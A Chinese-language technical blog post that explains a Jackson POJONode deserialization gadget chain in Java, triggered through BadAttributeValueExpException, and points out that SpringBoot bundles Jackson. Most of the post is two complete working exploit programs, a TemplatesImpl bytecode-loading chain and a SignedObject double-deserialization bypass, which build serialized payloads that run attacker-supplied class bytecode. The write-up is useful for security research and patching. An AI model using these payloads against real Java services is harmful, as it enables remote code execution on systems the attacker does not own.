前言
与Fasyjson
原生JDK反序列化利用相同,Jackson
也可以结合原生JDK进行反序列化利用。且SpringBoot
默认集成Jackson
作为其JSON
处理库,所以攻击面更广。
Gadget
1 2 3 4
| POJONode.toString ->BaseJsonNode.toString ->com.fasterxml.jackson.databind.node.InternalNodeMapper#nodeToString ->com.fasterxml.jackson.databind.ObjectWriter#writeValueAsString
|
writeValueString
正是Jackson
序列化的入口函数,会调用序列化对象的所有public_getter
方法。
分析
POJONode
类中没有toString
方法,但其父类的父类BaseJsonNode
拥有toString
方法

nodeToString
方法中调用了writeValueAString
,进而调用恶意类的public_getter
方法,如TemplatesImpl
类中的getOutProperties
方法

参考Fastjson
原生反序列化利用,使用javax.management.BadAttributeValueExpException#readObject
来触发POJONode.readObject
方法

EXP
TemplatesImpl链
注:利用ClassPool
删除了BaseJsonNode
类中的writeReplace方法
,否则在序列化payload
时会报错
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.nio.file.Files; import java.nio.file.Paths; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod;
public class POJONodeGadget {
public static TemplatesImpl getTemplates() throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class templatesImplClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field nameField = templatesImplClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "KaGty1"); byte[] byteCode = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Tools/Commons_Collections/src/main/java/org/kgty/Evil.class")); byte[][] byteCodes = {byteCode}; Field byteCodesField = templatesImplClass.getDeclaredField("_bytecodes"); byteCodesField.setAccessible(true); byteCodesField.set(templates, byteCodes); Field tfactoryField = templatesImplClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl()); return templates; }
public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace"); jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(classLoader, null);
TemplatesImpl templates = getTemplates(); POJONode pojoNode = new POJONode(templates); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Field valField = badAttributeValueExpException.getClass().getDeclaredField("val"); valField.setAccessible(true); valField.set(badAttributeValueExpException, pojoNode);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream); oos.writeObject(badAttributeValueExpException); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); Object o = (Object)ois.readObject(); } }
|
SignedObject二次反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.nio.file.Files; import java.nio.file.Paths; import java.security.KeyPair; import java.security.KeyPairGenerator; import java.security.Signature; import java.security.SignedObject;
import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod;
public class SignedObjectGadget {
public static TemplatesImpl getTemplates() throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class templatesImplClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field nameField = templatesImplClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "KaGty1"); byte[] byteCode = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Tools/Commons_Collections/src/main/java/org/kgty/Evil.class")); byte[][] byteCodes = {byteCode}; Field byteCodesField = templatesImplClass.getDeclaredField("_bytecodes"); byteCodesField.setAccessible(true); byteCodesField.set(templates, byteCodes); Field tfactoryField = templatesImplClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl()); return templates; }
public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace"); jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(classLoader, null);
TemplatesImpl templates = getTemplates(); POJONode pojoNode = new POJONode(templates); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Field valField = badAttributeValueExpException.getClass().getDeclaredField("val"); valField.setAccessible(true); valField.set(badAttributeValueExpException, pojoNode);
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); kpg.initialize(1024); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject(badAttributeValueExpException, kp.getPrivate(), Signature.getInstance("DSA"));
POJONode pojoNode1 = new POJONode(signedObject); BadAttributeValueExpException badAttributeValueExpException1 = new BadAttributeValueExpException(null); Field valField1 = badAttributeValueExpException1.getClass().getDeclaredField("val"); valField1.setAccessible(true); valField1.set(badAttributeValueExpException1, pojoNode1);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream); oos.writeObject(badAttributeValueExpException1); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); Object o = (Object)ois.readObject(); } }
|